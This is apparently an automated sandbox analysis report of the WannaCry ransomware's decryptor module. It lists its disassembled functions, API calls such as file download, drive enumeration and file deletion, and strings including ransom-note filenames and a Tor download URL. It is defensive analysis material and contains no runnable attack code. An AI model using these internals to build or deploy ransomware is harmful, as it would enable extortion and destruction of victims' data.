Function 00409C20, Relevance: 9.1, APIs: 6, Instructions: 104

APIs

#3797.MFC42 ref: 00409C27
#6734.MFC42(?,?), ref: 00409C4E
SendMessageA.USER32(?,00000408,00000000,00000000), ref: 00409C68
#4284.MFC42(00004000,00000000,00000000,?,?), ref: 00409CCD
#4284.MFC42(00000000,00004000,00000000,?,?), ref: 00409CDD
InvalidateRect.USER32(?,00000000,00000001), ref: 00409CF0

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 004127E0, Relevance: 9.1, APIs: 6, Instructions: 103

APIs

#823.MFC42(00000244,?,00000428,?,?,0041438B,000000FF,00412933,?,00000000,00000002,?,0040B6CF,?,?), ref: 004127FD
#823.MFC42(?,?,?), ref: 00412849

Part of subcall function 00411C00: GetCurrentDirectoryA.KERNEL32(00000104,00000140,00000000,00000000,?,?,00000000,0041289D), ref: 00411C27
Part of subcall function 00411C00: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00411C87

#825.MFC42(?), ref: 004128B5
#825.MFC42(?), ref: 004128CE
#825.MFC42(00000000), ref: 004128DD
#823.MFC42(00000008), ref: 004128FA

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 0040B780, Relevance: 9.1, APIs: 6, Instructions: 68

APIs

CreateDirectoryA.KERNEL32(?,00000000,?,76E76DBE,00000428), ref: 0040B793
GetTempFileNameA.KERNEL32(?,004214DC,00000000,?), ref: 0040B7D4
DeleteUrlCacheEntry.WININET(?), ref: 0040B7DB
URLDownloadToFileA.URLMON(00000000,?,?,00000000,00000000), ref: 0040B7ED
DeleteFileA.KERNEL32(?), ref: 0040B815
DeleteFileA.KERNEL32(?), ref: 0040B82C

Part of subcall function 0040B6A0: CreateDirectoryA.KERNEL32(?,00000000,?,76E76DBE,00000000,00000428), ref: 0040B6B4
Part of subcall function 0040B6A0: DeleteFileA.KERNEL32(?), ref: 0040B6D9
Part of subcall function 0040B6A0: sprintf.MSVCRT ref: 0040B74E

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 00409A40, Relevance: 9.1, APIs: 6, Instructions: 65

APIs

OffsetRect.USER32(?,?,?), ref: 00409A9B
CreateRectRgn.GDI32(?,?,?,?), ref: 00409AB5
#1641.MFC42(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00414220), ref: 00409AC0
#5781.MFC42(0041679C,00000000), ref: 00409ACC
#2414.MFC42(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00414220,000000FF), ref: 00409AEB
#2414.MFC42(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00414220,000000FF), ref: 00409B04

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 004034A0, Relevance: 9.1, APIs: 6, Instructions: 56

APIs

GetClientRect.USER32(?,?), ref: 004034C6
#283.MFC42(?), ref: 004034D7
#5789.MFC42 ref: 004034EF
PatBlt.GDI32(?,00000000,00000000,?,?,00F00021), ref: 00403519
#5789.MFC42(00000000), ref: 00403524
#2414.MFC42(00000000), ref: 0040353D

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 00404EB0, Relevance: 9.1, APIs: 6, Instructions: 56

APIs

GetClientRect.USER32(?,?), ref: 00404ED6
#283.MFC42(?), ref: 00404EE4
#5789.MFC42 ref: 00404EFC
PatBlt.GDI32(?,00000000,00000000,?,?,00F00021), ref: 00404F26
#5789.MFC42(00000000), ref: 00404F31
#2414.MFC42(00000000), ref: 00404F4A

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 00406940, Relevance: 9.1, APIs: 6, Instructions: 56

APIs

GetClientRect.USER32(?,?), ref: 00406966
#283.MFC42(?), ref: 00406977
#5789.MFC42 ref: 0040698F
PatBlt.GDI32(?,00000000,00000000,?,?,00F00021), ref: 004069B9
#5789.MFC42(00000000), ref: 004069C4
#2414.MFC42(00000000), ref: 004069DD

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 00404310, Relevance: 9.1, APIs: 6, Instructions: 51

APIs

#470.MFC42(?,00000000), ref: 0040433F
#5789.MFC42 ref: 00404354
#5875.MFC42(00000001), ref: 00404361
#6172.MFC42(?,00000001), ref: 0040436E
#5789.MFC42(00000000), ref: 0040438F
#755.MFC42(00000000), ref: 004043A0

Part of subcall function 004044C0: GetParent.USER32(?), ref: 004044D2
Part of subcall function 004044C0: #2864.MFC42(00000000), ref: 004044D9
Part of subcall function 004044C0: SendMessageA.USER32(?,00000031,00000000,00000000), ref: 004044E8
Part of subcall function 004044C0: #2860.MFC42(00000000), ref: 004044EF
Part of subcall function 004044C0: GetObjectA.GDI32(?,0000003C,?), ref: 00404503
Part of subcall function 004044C0: CreateFontIndirectA.GDI32(?), ref: 00404513
Part of subcall function 004044C0: #1641.MFC42(00000000), ref: 0040451D

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 00403EB0, Relevance: 9.0, APIs: 6, Instructions: 24

APIs

#3092.MFC42(00000407,00000000,?,?,00403916,00000000), ref: 00403EBE
#2642.MFC42(00000407,00000000,?,?,00403916,00000000), ref: 00403EC5
#3092.MFC42(00000408,00000000,00000407,00000000,?,?,00403916,00000000), ref: 00403ED2
#2642.MFC42(00000408,00000000,00000407,00000000,?,?,00403916,00000000), ref: 00403ED9
#3092.MFC42(00000002,00000000,00000408,00000000,00000407,00000000,?,?,00403916,00000000), ref: 00403EE3
#2642.MFC42(00000002,00000000,00000408,00000000,00000407,00000000,?,?,00403916,00000000), ref: 00403EEA

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 00403A20, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 63

APIs

GetLogicalDrives.KERNEL32 ref: 00403A35
GetDriveTypeW.KERNEL32 ref: 00403A7A
GetDiskFreeSpaceExW.KERNEL32(0000005C,?,0000005C,?), ref: 00403A95

Part of subcall function 004026B0: swprintf.MSVCRT ref: 00402728
Part of subcall function 004026B0: FindFirstFileW.KERNEL32(?,?,00000000), ref: 0040273E
Part of subcall function 004026B0: #825.MFC42(?,?,?,?), ref: 0040276F
Part of subcall function 004026B0: #825.MFC42(?), ref: 004027A5
Part of subcall function 004026B0: wcscmp.MSVCRT ref: 004027E1
Part of subcall function 004026B0: wcscmp.MSVCRT ref: 004027FB
Part of subcall function 004026B0: swprintf.MSVCRT(?,%s\%s,?,?), ref: 00402822
Part of subcall function 004026B0: GetFileAttributesW.KERNEL32(?), ref: 00402830
Part of subcall function 004026B0: ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000000,?,?), ref: 00402863
Part of subcall function 004026B0: wcslen.MSVCRT ref: 0040286E
Part of subcall function 004026B0: ?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@PBGI@Z.MSVCP60(?,00000000), ref: 0040287D
Part of subcall function 004026B0: wcscmp.MSVCRT ref: 004028C3
Part of subcall function 004026B0: wcscmp.MSVCRT ref: 004028DD
Part of subcall function 004026B0: wcscmp.MSVCRT ref: 004028F3
Part of subcall function 004026B0: ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000000), ref: 00402909
Part of subcall function 004026B0: wcslen.MSVCRT ref: 00402914
Part of subcall function 004026B0: ?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@PBGI@Z.MSVCP60(?,00000000), ref: 00402923
Part of subcall function 004026B0: ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000001), ref: 00402957
Part of subcall function 004026B0: FindNextFileW.KERNEL32(?,?), ref: 0040296A
Part of subcall function 004026B0: FindClose.KERNEL32(?), ref: 0040297D
Part of subcall function 004026B0: swprintf.MSVCRT(?,%s\%s,?,@Please_Read_Me@.txt), ref: 00402A0C
Part of subcall function 004026B0: DeleteFileW.KERNEL32(?), ref: 00402A16
Part of subcall function 004026B0: swprintf.MSVCRT(?,%s\%s,?,@WanaDecryptor@.exe.lnk), ref: 00402A2C
Part of subcall function 004026B0: DeleteFileW.KERNEL32(?), ref: 00402A36
Part of subcall function 004026B0: #825.MFC42(?), ref: 00402A6B
Part of subcall function 004026B0: #825.MFC42(?), ref: 00402ABF

Strings

: , xrefs: 00403A53
\, xrefs: 00403A73

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 00406EF0, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45

APIs

#823.MFC42(?), ref: 00406F15
SendMessageA.USER32(?,0000044B,00000000,?), ref: 00406F3F
ShellExecuteA.SHELL32(00000000,open,?,00000000,00000000,00000005), ref: 00406F57
#825.MFC42(?), ref: 00406F62

Strings

open, xrefs: 00406F50

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 004030E0, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 40

APIs

#324.MFC42(0000008A,?,?,?,?,?,?,004135B3,000000FF), ref: 00403109
#567.MFC42(0000008A,?,?,?,?,?,?,004135B3,000000FF), ref: 00403119
#567.MFC42(0000008A,?,?,?,?,?,?,004135B3,000000FF), ref: 00403131

Strings

0ZA, xrefs: 00403156
DZA, xrefs: 00403146

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 00404C40, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 34

APIs

#324.MFC42(00000089,?,?,?,?,?,00413809,000000FF), ref: 00404C68
#540.MFC42(00000089,?,?,?,?,?,00413809,000000FF), ref: 00404C7A
#860.MFC42(00421798), ref: 00404CAD

Strings

DZA, xrefs: 00404C86
0ZA, xrefs: 00404C94

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 00408B40, Relevance: 7.6, APIs: 5, Instructions: 75

APIs

BitBlt.GDI32(?,?,00000001,?,?,00000000,?,00000001,00CC0020), ref: 00408BA7
#5785.MFC42(?,?,?,?,?,?,?,?,?,?,0041407B,000000FF), ref: 00408BBA
#5785.MFC42(?,?,?,?,?,?,?,?,?,?,0041407B,000000FF), ref: 00408BC9
#2414.MFC42(?,?,?,?,?,?,?,?,0041407B,000000FF), ref: 00408BEA
#640.MFC42(?,?,?,?,?,?,?,?,0041407B,000000FF), ref: 00408BFF

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 00404530, Relevance: 7.6, APIs: 5, Instructions: 50

APIs

#289.MFC42 ref: 0040455F
#5789.MFC42(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,004137C8), ref: 00404574
GetTextExtentPoint32A.GDI32(?,?,?,?), ref: 0040458D
#5789.MFC42(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004045A6
#613.MFC42 ref: 004045BB

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 00406CF0, Relevance: 7.5, APIs: 5, Instructions: 48

APIs

SendMessageA.USER32(?,00000445,00000000,04000000), ref: 00406D2C
#353.MFC42(?,00000000,?,?,?,?,?,?,?,?,?,?,767AAD28), ref: 00406D39
SendMessageA.USER32 ref: 00406D69
#1979.MFC42 ref: 00406D6F

Part of subcall function 00406DC0: SendMessageA.USER32(?,0000000E,00000000,00000000), ref: 00406DDC
Part of subcall function 00406DC0: #823.MFC42(00000001,?,?), ref: 00406DEC
Part of subcall function 00406DC0: SendMessageA.USER32(?,0000044B,00000000,?), ref: 00406E1D
Part of subcall function 00406DC0: _strnicmp.MSVCRT ref: 00406E3E
Part of subcall function 00406DC0: _strnicmp.MSVCRT ref: 00406E5A
Part of subcall function 00406DC0: SendMessageA.USER32(?,00000437,00000000,?), ref: 00406EA2
Part of subcall function 00406DC0: #6136.MFC42 ref: 00406EC4
Part of subcall function 00406DC0: #825.MFC42(?), ref: 00406ED7

#665.MFC42 ref: 00406D87

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 00407DB0, Relevance: 7.5, APIs: 5, Instructions: 42

APIs

Part of subcall function 00401000: #324.MFC42(0000008D,?,?,?,?,?,?,00413458,000000FF), ref: 00401029
Part of subcall function 00401000: #567.MFC42(0000008D,?,?,?,?,?,?,00413458,000000FF), ref: 00401039

time.MSVCRT ref: 00407DEA
#2514.MFC42 ref: 00407E18
time.MSVCRT ref: 00407E2A
#765.MFC42 ref: 00407E49
#641.MFC42 ref: 00407E5D

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 004031A0, Relevance: 7.5, APIs: 5, Instructions: 40

APIs

#2414.MFC42(?,?,?,?,?,?,?,00403188), ref: 004031DF
#2414.MFC42(?,?,?,?,?,?,?,00403188), ref: 00403201
#616.MFC42(?,?,?,?,?,?,?,00403188), ref: 00403217
#693.MFC42(?,?,?,?,?,?,?,00403188), ref: 00403224
#641.MFC42(?,?,?,?,?,?,?,00403188), ref: 00403233

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 0040BE90, Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 18

APIs

strncpy.MSVCRT ref: 0040BE9C
strncpy.MSVCRT ref: 0040BEAD
strncpy.MSVCRT ref: 0040BEBE

Strings

https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip, xrefs: 0040BEA8
s.wnry, xrefs: 0040BE97

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 00403AF0, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 132

APIs

fopen.MSVCRT ref: 00403B17

Part of subcall function 00402020: GlobalAlloc.KERNEL32(00000000,00100000,?), ref: 00402055
Part of subcall function 00402020: GlobalAlloc.KERNEL32(00000000,00100000), ref: 0040206D

fgets.MSVCRT ref: 00403BD1

Part of subcall function 00402650: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000167,00000167), ref: 00402688

fclose.MSVCRT ref: 00403C62

Strings

f.wnry, xrefs: 00403B12

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 0040BED0, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 108

APIs

#823.MFC42(0000002C), ref: 0040BF0C

Part of subcall function 0040BAF0: strtok.MSVCRT ref: 0040BBA9
Part of subcall function 0040BAF0: strtok.MSVCRT ref: 0040BC22
Part of subcall function 0040BAF0: #825.MFC42(?,?), ref: 0040BCDD
Part of subcall function 0040BAF0: GetTickCount.KERNEL32(?,00000000,00000000), ref: 0040BCEC
Part of subcall function 0040BAF0: srand.MSVCRT ref: 0040BCF3
Part of subcall function 0040BAF0: rand.MSVCRT ref: 0040BD09
Part of subcall function 0040BAF0: #825.MFC42(00000000,00000000,?,?,?,00000000,00000000), ref: 0040BD9F
Part of subcall function 0040BAF0: Sleep.KERNEL32(00000BB8,00000000,?,?,?,00000000,00000000), ref: 0040BDB5
Part of subcall function 0040BAF0: #825.MFC42(?,?,?,?), ref: 0040BDED
Part of subcall function 0040BAF0: #825.MFC42(?), ref: 0040BE7A

GetComputerNameA.KERNEL32(?,?), ref: 0040BFB9
GetUserNameA.ADVAPI32 ref: 0040BFF5

Part of subcall function 0040DC00: ??0exception@@QAE@ABQBD@Z.MSVCRT(?), ref: 0040DC9E
Part of subcall function 0040DC00: _CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040DCAD

Strings

@k, xrefs: 0040BED6, 0040BEFA, 0040BF3F

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 0040B6A0, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 83

APIs

CreateDirectoryA.KERNEL32(?,00000000,?,76E76DBE,00000000,00000428), ref: 0040B6B4
DeleteFileA.KERNEL32(?), ref: 0040B6D9
sprintf.MSVCRT ref: 0040B74E

Part of subcall function 00412A00: #825.MFC42(?,00000000,?,0040B770,00000000), ref: 00412A45
Part of subcall function 00412A00: #825.MFC42(?,00000000,?,0040B770,00000000), ref: 00412A62
Part of subcall function 00412A00: #825.MFC42(5D5E5F01,00000000,?,0040B770,00000000), ref: 00412A75
Part of subcall function 00412A00: #825.MFC42(0040B770,00000000,?,0040B770,00000000), ref: 00412A7E

Strings

%s\%s, xrefs: 0040B748

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 0040D300, Relevance: 6.2, APIs: 4, Instructions: 159

APIs

Part of subcall function 00412A90: malloc.MSVCRT ref: 00412A95

Part of subcall function 0040D2B0: memmove.MSVCRT ref: 0040D2E1

time.MSVCRT ref: 0040D408
Sleep.KERNEL32(00000064), ref: 0040D46B
time.MSVCRT ref: 0040D487
free.MSVCRT(?), ref: 0040D4A9

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 0040D150, Relevance: 6.1, APIs: 4, Instructions: 122

APIs

time.MSVCRT ref: 0040D15D
srand.MSVCRT ref: 0040D163
rand.MSVCRT ref: 0040D16B
rand.MSVCRT ref: 0040D185

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 004108A0, Relevance: 6.1, APIs: 4, Instructions: 107

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 004108FB
SetFilePointer.KERNEL32(?,00000000,00000000,00000001,FFFFFFFF,?,00000000,?,00411CAF,?,?,FFFFFFFF,?), ref: 0041092C
#823.MFC42(00000020,?,00411CAF,?,?,FFFFFFFF,?), ref: 0041093A
SetFilePointer.KERNEL32(?,00000000,00000000,00000001,?,?), ref: 004109A2

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 00406A00, Relevance: 6.1, APIs: 4, Instructions: 70

APIs

#4476.MFC42(?,?,?), ref: 00406A15
#3089.MFC42 ref: 00406A3A
#3089.MFC42 ref: 00406A48
#3089.MFC42 ref: 00406A56

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
